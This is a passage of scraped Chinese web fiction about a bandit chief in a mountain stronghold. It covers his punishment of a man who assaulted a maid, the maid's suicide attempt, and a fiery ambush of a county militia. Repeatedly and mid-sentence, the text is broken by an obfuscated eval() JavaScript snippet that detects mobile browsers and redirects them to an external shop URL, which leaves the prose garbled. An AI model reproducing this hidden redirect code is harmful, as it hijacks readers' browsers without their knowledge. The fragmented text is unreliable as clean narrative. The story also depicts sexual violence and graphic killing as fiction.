“狗哥,你对我秀才的大恩大德,我秀才无以为报,以后我秀才的命是你的了,不管是上刀山还是下油锅,只要你一声令下,我绝不皱一下眉头。” 李二狗从马上下来,把秀才扶了起来。 “秀才,你我是兄弟,有福同享,有难同当可不是一句空话。霸虎寨交给你,我放心。” 秀才激动地泪流满面,士为知己者死,李二狗就是他的贵人。 两人来到霸虎寨,李二狗依旧蒙着面。 秀才为了以防万一,特意从清风寨调来十几名兄弟镇守霸虎寨各个险要位置,让李二狗十分满意。 两人来到广场,广场周边堆满了麦秆。 李二狗和秀才商量着如何摆放麦秆位置,两人商议了半个时辰,才算确定了所有细节,但却始终不见朱老四的身影。 秀才招呼一个土匪过来,问道:“老四去哪了?大哥来了,怎么不见他?” 土匪支支吾吾半天,也没说出朱老四到底在哪。 李二狗说道:“算了,我去后山转转,你赶紧召集兄弟们安排吧,时间已经很紧了。” 秀才答应着就要走,李二狗又叫住他嘱咐道:“秀才,霸虎寨不比咱们清风寨,咱们对这里的兄弟了解甚少,又没对他们进行过思想教育,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106793|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了以防万一,从现在起,任何人不许离开山寨,违者严惩不贷!” “放心吧,狗哥,我这就去安排。” 李二狗独自一人来到后山,拐过那面石坡,远远地看见慕容雪的坟头,孤零零地矗立在蜀葵花中间,他的心又是一阵刺痛。 李二狗缓缓地踱到跟前,跪在地上,泪流满面。 “小雪,我来看你了,你在那边还好吗?” “我不好,很不好,你这一去,我感觉自己的魂儿也跟着你去了。” “我永远忘不了那晚的月亮。” “小雪,我好想你……” 李二狗抽泣之时,不远处的茅草屋中传来一阵哭声。 那是李二狗心中的圣地,谁敢闯入? 李二狗起身走向茅草屋,他倒要看看是谁吃了熊心豹子胆,敢闯入这片禁地。 哭泣的声音越来越大,竟是一个女人的哭声。 李二狗心里了然,一定是孙小雨。 他走到茅草屋前,门前还挂着“擅入者死”的门牌。 “你要敢说出去,老子一定宰了你!” 这分明是朱老四的声音。 **朱老四! “放开我!放开我!” 里面传来一声响亮的耳光声。 “第一次你挣扎,老子可以不计较,这一次你还不乖乖服从,老子饶不了你!” 又是一声响亮的耳光声。 “四爷,求求您饶了我吧……呜呜……” “饶了你?哈哈!老子看上你是你的福分,告诉你,霸虎寨以后是老子的,你要不听话,立马把你赶下山!” “呜呜……不要……” “哈哈哈……来吧,小宝贝!” 李二狗一脚踹开房门,朱老四像一条狗一样把孙小雨压在身下。 “谁他娘打扰老子……” 李二狗不容分说,上前抓住朱老四的头发把他拽到地上。 孙小雨双手护在胸前,哭得梨花带雨。 李二狗俯身把地上的衣服捡起来,背着身把衣服扔到床上。 “先把衣服穿上。” 第320章 死罪能免,活罪难逃 朱老四已经认出蒙面之人是李二狗,他挣扎着从地上爬起来,脸上还是一副满不在乎的表情。 自己刚为山寨立了功,是有功之臣,睡个女人又能怎么样? “兄弟,是这个**人勾引的我,我也是一时没把控住自己,你千万别在意啊,嘿嘿。” 李二狗面无表情地走到朱老四跟前,一脚把他踹出了房门。 他绝对不允许任何一个臭男人在慕容雪的床上行这种**之事。 李二狗走出屋子,关上房门,对着躺在地上的朱老四就是一顿拳打脚踢。 “兄弟,我错了,我错了……你别打了,我再也不敢了!” 李二狗仿佛没有听见一般,踢得朱老四鬼哭狼嚎,一直踢得他躺在地上奄奄一息。 秀才赶来,从后面一把抱住李二狗。 “狗哥,你再这样打下去就把他打**。” 朱老四蜷缩在地上,口吐鲜血,身体不停地抽搐着。 茅草屋传来孙小雨的抽泣声,秀才已然明白朱老四犯了什么错误。 “秀才,你先把他带到广场,把兄弟们都召集起来,我有话要说。” 秀才应和一声,拖着朱老四走了,屋内的哭声竟然停止了。 李二狗心知不妙,赶紧冲进屋子,孙小雨已经把自己吊在房梁上。 他急忙上前抱住孙小雨的大腿,把她从房梁上放了下来。 孙小雨的脖子上有一条明显的勒痕,她剧烈地咳嗽起来。 “我没脸活了,你就让我去找慕容姐吧。” “你慕容姐肯定不会同意你这样做,你这是用别人的错误来惩罚自己!” 李二狗的话有些深奥,孙小雨一时有些理解不了,她只知道,自己被朱老四**,以后再也没脸在霸虎寨待下去。 可离开霸虎寨,哪里还有她的生路?! 孙小雨又开始抽泣起来,哭声如泣如诉,哭得李二狗心乱如麻。 他怎能不懂孙小雨的心思,这也是一个可怜人。 “好了,别哭了,待会我带你下山离开这里,你放心,我会替你慕容姐照顾你。” 在李二狗心里,照顾好孙小雨,慕容雪肯定会很开心。 只要能让慕容雪开心,李二狗愿意做任何事情。 孙小雨停止了哭泣,她没想到李二狗竟会如此对待自己。 “哥,你不会是骗我吧?” “我要骗你,对不起你姐。好了,别哭了,回去收拾一下东西,待会我带你离开这里。” 孙小雨看着眼前的这个蒙面人,不明白他长得那么帅气,为何要戴着面巾示人。 她走出茅草屋,径直走到慕容雪坟前,跪在地上磕了三个头。 “慕容姐,我要走了,等有机会我一定会回来看你的。” 李二狗没想到孙小雨还是一个重情重义的女人,不枉慕容雪生前对她的好。 等他回到霸虎寨聚义堂门前广场的时候,已经围了一圈人。 大家议论纷纷,对着朱老四指指点点。 朱老四则梗着头站在广场中央,他只是**了一个丫鬟而已,谅他李二狗也不会对自己怎么样! 看到李二狗到来,大家自动让出一条路。 秀才跑到李二狗跟前,说道:“狗哥,大家都到了。” “秀才,你来宣布处理决定吧!” 秀才一愣,不知道李二狗所说的处理决定是什么。 “清风寨寨规第一条是什么都忘记了吗?” 清风寨寨规第一条,禁止**妇女! 秀才当然记得,可这是霸虎寨,不是清风寨! “狗哥,按照清风寨寨规来处理这件事情是不是有所不妥?” 李二狗平生最恨的就是**妇女之徒,无论如何,他都不能容忍这种行为在自己治下发生。 “有什么不妥?像这样的**不杀不足以平民愤!” “可霸虎寨的这些人并不知道清风寨的规矩,正所谓不知者不罪,更何况朱老四刚刚立了功,此时杀了他是不是有点太严厉了?我怕其他人会有想法。” 秀才的话最终还是说服了李二狗。 他此时管理着三个山寨,不得不考虑影响,更何况马上就有一场硬仗要打,绝对不能出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110734|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 现任何一点纰漏。 “死罪能免,活罪难逃!打他二十大板,赶出山寨!” 秀才朗声宣布了这一决定。 朱老四听罢,吓得直接瘫在地上。 “兄弟,你不能这样对我啊!” 秀才一挥手,两个人直接把朱老四拖下去,狠狠地打了二十大板,然后赶出了山寨。 李二狗走到广场中央,环视一圈之后,大家都安静下来。 “大家是不是觉得朱老四有点冤?他刚为山寨立了功就受到这样的对待。” “在大家的意识里,是不是认为**妇女是土匪的天性?并不是什么大不了的事情?” 人群鸦雀无声,他们见惯了东北来的那帮土匪霸占良家妇女,慢慢也就接受了这一现实。 “大家都有妻女,没有妻女的也有姐妹,如果土匪**的是你们的妻女姐妹,你们能忍受吗?” “古人说,己所不欲,勿施于人。大家不愿意自己的妻女姐妹被**,难道就能接受自己去**别人的妻女姐妹吗?” “无规矩不成方圆,大家既然选择留下来就要遵守山寨的规定,任何人违反山寨规定都要受到相应的惩罚!” “大家可能要问了,你一直说山寨的规定,到底山寨的规定是什么?” “秀才,你现在就把山寨的规定告诉大家。” 秀才朗声说道:“第一条,禁止**妇女!” “第二条,禁止欺压百姓!” “第三条,一切行动听指挥!” 众人听后,无不震惊!土匪的山寨竟然有这样的规定。 “大家如果觉得自己遵守不了,现在就可以下山,我绝不勉强!” 众人面面相觑之后,从人群中走出五个人。 李二狗根本没拿正眼瞧他们,对秀才说道:“给他们发路费,现在就送下山。” “剩下的人既然选择留下来,以后就要遵守山寨的规定,同时也请大家放心,我绝对不会亏待大家!” 众人一阵欢呼,李二狗让秀才带领大家继续堆放麦垛,自己则带着孙小雨去了县城。 第321章 你是不是看不起我们娘子军 李二狗骑马带着孙小雨赶往县城。 路上,孙小雨从后面双手紧紧地抱住李二狗,李二狗以为她是害怕,并没有当回事,后来她竟然把头靠在了李二狗的后背上。 李二狗顿时有了异样的感觉,孙小雨肯定是误会了自己的意思。 两人来到李二狗在县城的房子。 院子里竟然停放着一辆小轿车,这可把孙小雨激动坏了,他没想到李二狗竟然有汽车。 这个男人总是能够给人带来惊喜。 以前在东北的时候,她坐过一次汽车,至今想来仍然非常激动。 不过她坐的不是这种小轿车,慕容复虽然是团长,但他却坐不了这种小轿车。 在她的印象中,好像少帅坐得就是这种小轿车。 “喜欢吗?” “喜欢。” “过两天我开着它带你去省城。” 李二狗已经决定把孙小雨送到省城,让她跟在静雯身边,以后肯定会有一个不错的前程。 孙小雨问道:“去省城做什么?” “等到了省城再和你说,你先住在这里,没事不要出门。” 李二狗说完就要走,孙小雨急忙问道:“狗哥,你要走吗?” “我还有事要办,这里很安全,你放心住下。” “那你晚上还回来吗?” 李二狗更加确定孙小雨可能误会了自己照顾她的意思。 “山寨还有事,今晚我还得赶回去,你照顾好自己。” 望着李二狗离开的背影,孙小雨一时有些落寞。 李二狗的表现已经说明了他对自己的态度,终究还是自己妄想了。 县政府孙竹刚办公室。 “兄弟,你可算来了。” 孙竹刚关上房门,亲自给李二狗倒了一杯热茶。 “大哥,这边什么情况?” 孙竹刚说道:“熊瞎子今天一直睡到日上三竿才醒来,醒来后还记得清剿霸虎寨的事情,我还担心这**给忘了。” 李二狗笑道:“他就是把他爹的姓忘了也忘不了那座三尺多高的玉座金佛。” “哈哈,还是兄弟懂人性,他醒来就嚷嚷着要去剿匪,被我劝住了,不过他已经决定要今晚行动。” “今晚?”李二狗喝到嘴里的茶水都喷了出来,“今晚不行啊,一切行动我都是按照明天晚上来谋划的。” “那怎么办?熊瞎子现在已经回去部署了。” 李二狗知道,如果此时想办法阻止,势必会引起熊顶天的怀疑。 “大哥,我现在得赶紧赶回去部署。熊顶天在出发之前,肯定会来向你告别,你要想办法把时间往后拖一拖,可以建议他在凌晨十二点之后再发起进攻。” “放心吧,兄弟,你路上小心。” 李二狗本来打算明天和熊顶天一起行动,这样不但可以随时掌握保安团的动向,还可以适时提出一些建议,但现在一切都已经来不及了。 即使熊顶天在凌晨十二点发起进攻,保安团的队伍也会在晚上十点左右到达指定地点,那在山下埋伏的兄弟必须在晚上九点钟之前全部到位。 他骑马赶到清风寨的时候,陈老三正带着人运炮。 “狗哥,你怎么回来了?” “老三,来不及了,大炮先不要运了,你现在马上带人去霸虎寨挖壕沟,按照事先安排的方案,务必在今晚十点之前准备好。” 陈老三看着天色,太阳已经下山,留给他的时间只有几个小时了,实在是太仓促了。 “狗哥,我怕时间来不及啊。” “少废话,我不管你采取什么方法,晚上十点之前必须完成,否则寨规从事,快去。” 陈老三看李二狗神情严肃,不敢再耽搁,领着人直接下了山。 陈嘎子正带人在广场上训练,看到李二狗赶忙跑了过来。 “狗哥,有什么指示?” “嘎子,别训练了,计划有变,保安团今晚就会行动,你现在马上带人按照事前的部署去隐蔽待命,有困难吗?” “没有!我这就去集合队伍。” “等一下,石头在哪?” “他去青山寨训练队伍了。” “你马上派人去通知他,让他带领队伍务必在今晚九点钟之前赶到预定地点集合待命。” “好,我马上去安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110735|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 排。” 陈嘎子立刻挥手叫来一个亲信,对他一番耳提面命,亲信领命而去。 “全体都有,集合。” 刚才还凌乱的人群顿时排成了整齐的四列纵队。 “立正!稍息!全体都有,按照今天下午演练的预案,所有人立刻回去带足武器**,十分钟之后还在这里集合,解散!” 李二狗对陈嘎子有些刮目相看。 他需要的就是这种召之即来、来之能战、战之能胜的队伍! 李二狗刚要骑马赶去霸虎寨,一身戎装的**带着手下的娘子军拦住了他的去路。 “素文,你这是干什么?” “二狗,山寨是不是有作战任务?” 时间紧迫,李二狗来不及过多解释,便说道:“是的。” “有作战任务为什么不给我们娘子军布置任务?你是不是看不起我们娘子军?” “是啊,是啊,我们也能打仗!” 娘子军一片喧哗。 李二狗被她们吵得头疼。 自从山寨放开恋爱限制之后,娘子军一大半的人都已经名花有主,有几个办事利索的已经怀上了孩子,李二狗怎敢安排她们去作战。 后方不稳就是军心不稳,他不能让兄弟们在背后戳他的脊梁骨。 “素文,别闹,你看看她们,怎么打仗?”李二狗指了指几个挺着大肚子的娘子军。 **看着怀孕的几个娘子军,顿时有些难过。 怀不上孩子是她心中永远的痛! “她们可以不去,但我必须去!” “素文,别闹!你以为这是闹着玩的吗?**可不长眼!快回去吧,等打完这一仗我好好陪你几天。” “不行!让她们都留下,我跟你去。” **不知道什么原因,突然变得有些无理取闹起来。 李二狗担心霸虎寨那边还没有准备好,内心便有些焦躁。 “素文,你不要这样无理取闹好不好?我这有急事,你快让开!” 他还从未对**如此疾言厉色过,**顿时愣住了。 李二狗趁她愣神的工夫,拉动缰绳,骑马离开了清风寨。 第322章 李二狗预感不妙 李二狗纵马奔驰,很快就来到霸虎寨。 霸虎寨一片繁忙的景象,陈老三正光着膀子,亲自带着人挖壕沟,同时安排了一些人在劈柴。 陈老三还知道安排两项工作同时进行,不得不说,相比之前他有了长足的长进。 “狗哥,你来了。” “老三,今晚十点之前完成有没有困难?” “狗哥,你就放心吧,我就是打碎了牙往肚子里咽,也保证在今天晚上十点钟之前完成这项光荣而又艰巨的任务。” 李二狗拍了拍他满是泥水的肩膀,鼓励道:“好样的,哥没有看错你。” 受到肯定的陈老三干劲十足,他用满是污泥的大手抹了一把脸上的汗水,露出一口洁白的大牙。 “狗哥,那我接着去干了。” 李二狗继续往前走,聚义堂前面的广场上也是一片热火朝天的景象。 秀才正带着人堆麦秆,堆完一个麦垛,便有人在麦垛旁撒上一堆**。 不远处还有一些人正在准备箭矢,每一个箭头上都缠上布条。 “狗哥,你来了,没想到保安团今晚就来进攻,幸好我提前做了一些准备。” 秀才这话看似抱怨,实则是在邀功,不得不说,秀才也确实干得不错。 任何事情都要做到未雨绸缪才能立于不败之地,屎不鼓到腚上不拉的行为注定成就不了大事。 “秀才,你这里事关整个计划的成败,今晚我们能不能一举歼灭保安团就看你的了。” 秀才说道:“狗哥,有你运筹帷幄,别说一个小小的县保安团,就是老汤亲自来也定让他有来无回。” 秀才这马屁拍的李二狗很舒服。 “你**什么时候学得这么油腔滑调?还是不能大意,保安团的战斗力可比警察强多了,再说,这些人还上过战场打过仗。” 秀才以前在杆子帮的时候接触过保安团的人,都是一些**抽的纨绔子弟,他根本不放在眼里。 “狗哥,咱们训练了这么久,手里的家伙也不差,那些保安团的少爷兵不是咱们的对手。” 李二狗一副心事重重的样子。 “这次时间紧迫,清风寨的那两门大炮没能运过来,我这心里还是有些打鼓。” “霸虎寨只有山前一条路,即使出现什么意外,咱们就是在山里打游击,保安团那群倭瓜也不是咱们的对手。” 李二狗担心的是如果此次不能全歼保安团,清风寨和霸虎寨的关系就会暴露,将来一旦熊顶天恢复元气,就会与清风寨为敌,这是李二狗不愿意看到的。 “你安排好这边,去帮帮老三那边,寨门前的**一定要埋好,千万不能提前暴露,拉弦的兄弟一定要选择心理素质过硬的,别看到保安团摸上来,心里一紧张,手一哆嗦,提前拉响了**,那样咱们可就前功尽弃了。” “狗哥放心,拉弦的兄弟我会安排咱们清风寨的老人,确保万无一失。” 李二狗拍了拍秀才的肩膀,再次找到陈老三。 “老三,你别干了,快上来,我有事和你说,把这里交给秀才。” 李二狗对陈老三附耳一番,陈老三赶紧穿上衣服,下了山。 随后李二狗沿着山路往下走,不看看陈嘎子和张石头那里的准备情况他还是不放心。 尤其是陈嘎子,此次能不能全歼保安团,他是关键。 张石头带着人正在山路两旁埋伏,由于天黑路滑,进入山路两旁密林的人被树枝荆棘划得吱哇乱叫。 张石头看到李二狗走过来,对着密林骂道:“都他娘给我安静点,划破点皮用得着哭爹喊娘吗?妈了个巴子!” 众人便赶紧闭了嘴,心里有苦说不出。 李二狗对于张石头这种粗鲁的行为十分不满,长此以往,容易失去兄弟们的信任。 “兄弟们辛苦了,等这次回去,我让张经理给你们每人发十块大洋外加纵饮三天。” 大家发出一阵欢呼,心情一好,脚下的动作都快了许多。 “狗哥,还是你有办法。”张石头恭维道。 “石头,带兵可不是你这种带法,要学会恩威并施,不能一味地严厉。” “我这也是心里着急,狗哥,放心,下次我一定注意。” “石头,等到保安团上山的时候,一定不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115503|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 能发出任何声响,如果有人暴露,整个计划就前功尽弃了。” “狗哥放心,我和他们下了死命令,就是拉屎也要拉到裤子里。” 李二狗被逗笑了,心里的压力也轻快了许多。 “山里蚊虫蛇蚁多,尤其是夜里,一个不小心后果不堪设想啊。” 张石头嘿嘿咧嘴一笑:“来之前我让兄弟们准备了一些硫磺酒,喷洒在身上,那些蚊虫蛇蚁不敢靠近我们。” 李二狗拍了拍张石头的肩膀,鼓励道:“干得好,快去准备吧,我去山下看看嘎子他们。” 来到山下,陈嘎子带的人已经埋伏在树林中。 “什么人?” “是我!” 听出是李二狗的声音,陈嘎子从树林中跑了出来。 “狗哥,我这里一切准备妥当,请你指示。” 陈嘎子隐藏的这片树林离上山的小路只有不到二百米的距离,暴露的风险非常大。 “嘎子,告诉弟兄们,一定要隐藏好。” “狗哥,放心,为了以防万一,我让大部分兄弟都隐藏在这片树林的那一头,靠近山路的这头我只留了几个机灵点的兄弟,待保安团的人都上山之后,我们在悄悄移动到这头来。” 李二狗越来越喜欢这几个兄弟,虽然每个人都有这样那样的缺点,但这些日子以来,每个人的进步也是肉眼可见。 如果他们都是完人,也不会这么死心塌地地跟随李二狗。 “嘎子,古语说穷寇莫追,你将面对的是一群玩命逃窜之徒,记住,一定不要贸然冲锋,到时候就用****招呼他们。” “一切都听狗哥安排,就怕到时候他们没有几个人能活着下山,我们在这里白忙活一场,哈哈。” “嘎子,战略上要藐视敌人,战术上要重视敌人,多想想可能出现的意外情况,小心驶得万年船。” 陈嘎子站直身体,向李二狗敬了一个标准的军礼。 “一切都听狗哥吩咐!嘿嘿,狗哥,你就放心吧,咱们这些兄弟已经手痒难耐了。” 不知道为什么,李二狗心里总是不踏实,总感觉哪里要出问题。 第323章 保安团摸进霸虎寨 安排好一切之后,李二狗沿着山路回到霸虎寨。 秀才正领着人在寨门前的空地上埋设**。 “秀才,把山寨所有的**全部埋上!” “全埋上?狗哥,没这个必要吧?咱们以后还过不过啊?” “不要在意这些瓶瓶罐罐,没有了咱们可以再造,兄弟们的安全重要。” “好,我这就让人把**全拿来,这么些**,够他们保安团喝一壶的!” 李二狗进入寨门,壕沟已经挖的差不多了,他们正在往里堆木柴,看进度,晚上十点之前肯定能够完工。 内心忐忑的李二狗独自来到后山,走进茅草屋。 房间内仿佛还能听见潺潺流水的声音。 他推开后门,进入山洞,温泉池里的泉水正咕嘟咕嘟冒着热气。 如果慕容雪活着,李二狗肯定不舍得利用霸虎寨来引诱保安团。 他坐在石凳上,不知不觉竟睡着了。 他做了一个梦,梦里的慕容雪正在温泉池中嬉戏,阳光洒落在她娇嫩的脸上,她是那么近,那么美。 “二狗,有危险,你快走!” “小雪,小雪……” 李二狗从睡梦中醒来,脸上早已挂满了泪水。 他抬手看了看手表,已经晚上十一点钟。 他来不及悲伤,赶紧走出茅草屋,来到提前选好的一处高地。 秀才已经在那里等候,看到李二狗到来才暗自松了一口气。 “秀才,现在什么情况?” 秀才把望远镜递给李二狗,说道:“狗哥,保安团的人已经到山脚下了,估计很快就要摸上山了。” 李二狗接过望远镜对着山下看了一会,山下确实影影绰绰有一队人马,熊顶天根本没把一个小小的霸虎寨放在眼里,连队伍隐蔽都懒得做。 “秀才,守寨门的兄弟安排好了吗?” “安排好了,是咱们清风寨的老人,他们知道该怎么做。” 这要换做别的山寨,肯定会牺牲几个守寨门的人,这样才能达到诱敌深入的效果,但李二狗不愿意这样做。 每个人都是娘生爹养的,他不愿意让任何一个兄弟白白丢掉性命。 “狗哥,你快看,保安团的人要上来了。” 李二狗从望远镜里看到保安团的人开始沿着山路上山,和李二狗事先判断的一样,保安团并没有一起上山,而是分组分批上山。 前面的人如果遇到危险,后面的人就可以立刻采取相应的对策,或撤或攻,主动权掌握在自己手中,这也是李二狗不愿意在山路上伏击他们的原因。 保安团的人很快就**到离寨门不远处的一处石坡后面,沿途没有发现任何情况。 保安团的一个连长叫**学旺,长的尖嘴猴腮,他来到熊顶天身旁,低声说道:“团长,这群土匪怎么连个暗哨都没安排?会不会有什么阴谋?” 熊顶天骂道:“我看你小子真是越来越没有出息了,区区几个**贼而已,当土匪之前都是些山野村夫,他们懂得什么明哨暗哨?” “嘿嘿,还是团长英明。” “告诉弟兄们,待会冲进去速战速决,最好把这些土匪全部活捉,省得老子还得到处征兵。” “团长,放心,这些土匪一听到**估计就吓得腿肚子发软,赶紧跪地求饶了。” “你**别大意!”熊顶天低声嘱咐道:“有一座玉座金佛一定要给老子找到。” “嘿嘿,团长放心,我知道该怎么做。” 与此同时,李二狗从望远镜里发现一个特殊情况。 “秀才,你看保安团在山下是不是还留了一队人马?” 秀才大吃一惊,赶紧拿起望远镜仔细看了一会儿,果然发现有一队人马并没有一同上山。 “狗哥,这可怎么办?他们在山下留了接应的人。” 李二狗还是小看了熊顶天,没想到他竟然在山下留人接应。 现在已经无法和陈嘎子取得联系,一切只能靠他自己随机应变。 要是那两门大炮拉上山,李二狗心里还有底,现在他内心的不安越来越强烈。 “秀才,待会保安团撤退之后,你带人追出去,一定不能让他们跑了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115504|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 李二狗本来不打算让霸虎寨的人追击,毕竟他们个人战斗素质差,手里的武器又低劣,很多人还手持大刀长矛。 “另外,追击的时候一定要保持距离,千万不能靠得太近,减少不必要的伤亡,你们主要负责大声呐喊,造出声势来。” “我明白了,狗哥。” 说话间,保安团已经派出几名尖兵悄悄摸向寨门。 还未等他们靠近,其中一个哨兵便嚷着自己肚子疼,疼得嗷嗷直叫。 “狗剩,你怎么了?” “哎吆,我肚子疼**!” “让你少吃点凉东西,你偏不听!不听老人言,吃亏在眼前。好了,我扶你去里面休息一会吧。” “那寨门这里怎么办?” “外边连声鸟叫都没有,没事的!” “如果当家的来查岗,咱们不在,我怕……” “你小子怎么这么多废话?你肚子到底还疼不疼?” “疼啊,我只是担心……” “担心个锤子!待会我再回来就是了。” 两人说着就离开了寨门。 保安团的几名尖兵这时已经摸到寨门下面。 “排长,真是天助我们啊!” “老天都在帮我们,这群土匪是完了。柱子,你爬进去开门,其他人保持警惕。” 柱子身手矫捷地爬上寨门翻了进去,很快,寨门便从里面打开了。 保安团排长向着熊顶天挥了挥手,熊顶天便指挥着手下的人冲了过来。 “团长,这群土匪都是一群草包。” 熊顶天虽然感觉有些太过容易,但面对敞开的寨门,他还是毫不犹豫地指挥着手下的人冲进了寨子里。 “迅速冲进去,遇到抵抗,就地消灭!” 保安团的人一窝蜂地冲了进去。 “官兵来了,快逃啊!” 不知道谁喊了一声,声音在寂静的夜空显得格外响亮。 “给我冲啊,斩获敌首者赏大洋五十。” 保安团的士兵嗷嗷地往前冲去,很快就冲到了聚义堂门前的广场上,一路上竟没有遇到丝毫抵抗。 第324章 不能撤,让兄弟们给我顶住 熊顶天毕竟是打过仗的人,此时他已经预感到有些情况不妙。 山寨**静了,安静地令人毛骨悚然。 “都给我停下!” 熊顶天大喝一声后,冷静地观察着广场四周。 黑暗中,一个一个的麦垛如坟堆般分布在广场及其周边,他敏锐地闻到了硫磺木炭的味道。 “不好……” 他话音未落,突然,一颗信号弹从东南方向腾空而起,在夜空中绽放出绚烂的烟花。 四周突然有无数个带着火苗的箭矢射向麦垛。 “有埋伏,快撤!” 所有的麦垛几乎在同一时间被点燃,麦秆夹杂着**,瞬间燃起了冲天大火。 保安团的士兵惊慌失措地四处乱窜,被烧死烧伤者不计其数。 熊顶天带着部分士兵向寨门方向冲去,突然前面的道路上竟然凭空出现了一道火墙,火苗足有两人高。 火势越来越大,空气中满是人体烧焦的味道。 几个身上着火的士兵尖叫着四处乱窜,很快就倒在地上没了声响。 “团长,怎么办?再这样下去,兄弟们就都被烧**!” “都不要乱!” 熊顶天大喝一声也难以稳住四处逃窜的士兵。 炙热的火苗几乎要把人烤熟,大家纷纷逃窜,根本顾不得其他。 熊顶天观察着道路上突然出现的这面火墙,判定是有人在道路上挖了一道壕沟,壕沟里堆满了燃料。 “快来人,扔**,把这道火墙给老子炸开。” **学旺赶紧指挥人向火墙扔**。 “轰轰轰……”,几声**声响过后,果然在火墙中炸开一个缺口。 “大家都不要慌,快跟我冲下去!” 慌乱中,大家看到一个缺口,仿佛看到了救星,他们纷纷从缺口涌出,奔向寨门。 冲出寨门之后,大家马不停蹄地向着山下冲去。 “轰,轰,轰……” 数十颗**同时**产生的碎片顿时将几十个保安团的士兵送上了天。 山寨里响起来震耳欲聋的喊杀声。 “冲啊!活捉熊瞎子!” …… “团长,里面的土匪冲出来了,我们快撤吧。” 熊顶天看着散落在地上的断臂残肢,双眼喷火,自己玩了一辈子鹰,没想到竟折在了这么一个小小的土匪山寨。 他不甘心! 可他手下的这群怂兵早已被吓破了胆,他们尖叫着慌不择路地向山下冲去! 大势已去! **学旺催促道:“团长,快撤吧,再不走就来不及了!” “妈了个巴子!老子早晚要铲除霸虎寨,撤!” 熊顶天带领着残兵败将向山下奔去。 天黑路滑,大量的士兵挤在狭窄的山路上。 有些人一脚踩空,连滚带爬地摔了下去,还未来得及起身就被后面的人踩在身上,后面的人也摔倒在地,身体像石碾一样滚下山去。 一时间,鬼哭狼嚎声不绝于耳。 刚冲到半山腰,两边的密林中突然响起来密集的**,狼狈逃窜的士兵成片成片地倒下。 “有埋伏!快隐蔽!快隐蔽!” 短暂的惊慌失措之后,**学旺指挥着几个**手对着两边的密林就是一阵射击。 其他士兵趁着这个空隙,纷纷往山下冲去。 此时,山下负责接应的保安团一个连的士兵正与陈嘎子激战。 县保安团特意留下一个连的士兵在山下接应,陈嘎子为了避免暴露,一直隐藏在树林中。 一直听到山上传来交战的声音,陈嘎子才带领着人冲了出来。 县保安团虽然只是地方部队,但毕竟经过实战的检验,单兵作战素质远远强于清风寨的土匪。 清风寨虽然人数占优,武器也不差,但和保安团比起来,差距还是非常明显。 保安团一个连有五十多名士兵,陈嘎子带领着清风寨一百多人与之战斗,才不到二十分钟就被压制在一个山坡下动弹不得。 陈嘎子心急如焚,如果山上溃逃下来的人与山下接应的人汇合在一起,自己随时有被消灭的可能,就别提全歼对手。 情急之下,陈嘎子指挥着手下的弟兄冲了出去。 “兄弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 